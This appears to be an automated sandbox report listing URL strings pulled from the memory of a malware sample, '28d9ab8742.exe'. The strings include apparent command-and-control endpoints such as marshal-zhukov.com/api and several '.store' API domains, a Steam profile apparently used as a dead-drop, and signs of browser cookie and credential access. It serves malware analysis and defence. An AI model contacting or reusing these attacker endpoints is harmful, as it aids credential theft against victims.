Source: 28d9ab8742.exe, 28d9ab8742.exe, 0000001A.00000003.2852160535.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2902790072.00000000056F5000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2955499601.00000000056E1000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2933363824.00000000056F5000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000C52000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2903279773.00000000056F5000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2933549588.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2862304891.00000000056EF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2890683941.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2955633341.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000C52000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3049221274.0000000005E91000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2975382180.0000000005E95000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2966606369.000000000186B000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.00000000017C5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3032918607.0000000005E7E000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996603887.0000000001869000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api
Source: 28d9ab8742.exe, 0000001F.00000003.2975754539.000000000186B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api##
Source: 28d9ab8742.exe, 0000001F.00000003.3048639273.0000000005E7E000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3054722669.0000000005E7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api8
Source: 28d9ab8742.exe, 0000001A.00000003.2874980002.00000000056F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api;
Source: 28d9ab8742.exe, 0000001A.00000003.2874980002.00000000056F3000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2878055507.00000000056F5000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2890683941.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875456533.00000000056F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiCQYHoC
Source: 28d9ab8742.exe, 0000001F.00000003.3048670954.00000000017C5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.00000000017C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiH:0
Source: 28d9ab8742.exe, 0000001A.00000003.2874980002.00000000056F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiN
Source: 28d9ab8742.exe, 0000001A.00000003.2955633341.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiQa
Source: 28d9ab8742.exe, 0000001F.00000003.2952481863.0000000001808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiile
Source: 28d9ab8742.exe, 0000001A.00000003.2955499601.00000000056E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apio
Source: 28d9ab8742.exe, 0000001A.00000003.2933549588.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2955633341.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apioa
Source: 28d9ab8742.exe, 0000001A.00000003.2862304891.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiu
Source: 28d9ab8742.exe, 0000001A.00000003.2933549588.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/eiom
Source: 28d9ab8742.exe, 0000001A.00000003.2933549588.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/zf
Source: 28d9ab8742.exe, 0000001F.00000002.3051651389.00000000017C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/api
Source: 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2973952651.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.00000000017C5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.00000000017C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/apiK
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: 28d9ab8742.exe, 0000001A.00000003.2851842022.00000000056E4000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2851203238.0000000005705000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2850165340.00000000056FF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2849723649.00000000056E1000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2981040217.0000000005EAF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2982939680.0000000005E8B000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2981716825.0000000005E88000.00000004.00000800.00020000.00000000.sdmp, Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: 28d9ab8742.exe, 0000001A.00000003.2851842022.00000000056E4000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2851203238.0000000005705000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2850165340.00000000056FF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2849723649.00000000056E1000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2981040217.0000000005EAF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2982939680.0000000005E8B000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2981716825.0000000005E88000.00000004.00000800.00020000.00000000.sdmp, Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10db
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://music.amazon.com
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://music.apple.com
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://music.yandex.com
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store:443/api
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apiZ
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://open.spotify.com
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presticitpo.store:443/api9
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://scriptyprefej.store:443/api
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/m
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 28d9ab8742.exe, 0000001F.00000003.2952481863.00000000017DB000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900j
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.s
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C80f26d8df816a96
Source: 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: EBFHJEGDAFHIJKECFBKJJKJJDH.0.dr	String found in binary or memory: https://support.mozilla.org
Source: EBFHJEGDAFHIJKECFBKJJKJJDH.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
